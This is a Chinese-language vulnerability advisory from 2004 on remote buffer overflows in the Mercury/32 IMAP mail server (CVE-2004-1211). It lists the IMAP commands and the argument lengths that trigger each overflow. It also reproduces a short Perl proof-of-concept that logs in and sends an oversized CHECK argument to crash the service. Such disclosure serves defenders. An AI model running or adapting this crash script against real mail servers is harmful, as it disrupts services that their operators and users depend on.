Mercury/32 IMAP多个远程缓冲区溢出漏洞
发布日期:2004-12-01
更新日期:2004-12-02
受影响系统:David Harris Mercury Mail Transport System 4.01
描述:
BUGTRAQ ID:
11788
CVE ID:
CVE-2004-1211
Mercury IMAP是一款邮件传送系统。
Mercury IMAP多个命令参数的处理上存在缓冲区溢出问题,远程攻击者可以利用这些漏洞以进程权限在系统上执行任意指令。
成功登录系统后,可以发送包含超长字符串作为参数的命令,可导致触发缓冲区溢出,这些命令包括:
EXAMINE A x 512 \r\n
SUBSCRIBE A x 512 \r\n
STATUS A x 512 \r\n
APPEND A x 512 \r\n
CHECK A x 512 \r\n
CLOSE A x 512 \r\n
EXPUNGE A x 512 \r\n
FETCH A x 512 \r\n
RENAME A x 768 \r\n
DELETE A x 768 \r\n
LIST A x 768 \r\n
SEARCH A x 768 \r\n
CREATE A x 1024 \r\n
UNSUBSCRIBE A x 1024 \r\n
精心构建提交数据可能以进程权限执行任意指令。
<*来源:Reed Arvin (
reedarvin@gmail.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=110193702909991&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Reed Arvin (
reedarvin@gmail.com)提供了如下测试方法:
#===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
# Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
#
http://www.pmail.com/
#
#####################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";
sleep(1);
print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";
sleep(1);
print $socket "0001 CHECK " . "A" x 512 . "\r\n";
close($socket);
sleep(1);
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
close($socket);
print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====
建议:
厂商补丁:
David Harris
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.pmail.com/overviews/ovw_mercury.htm浏览次数:3560
严重程度:0(网友投票)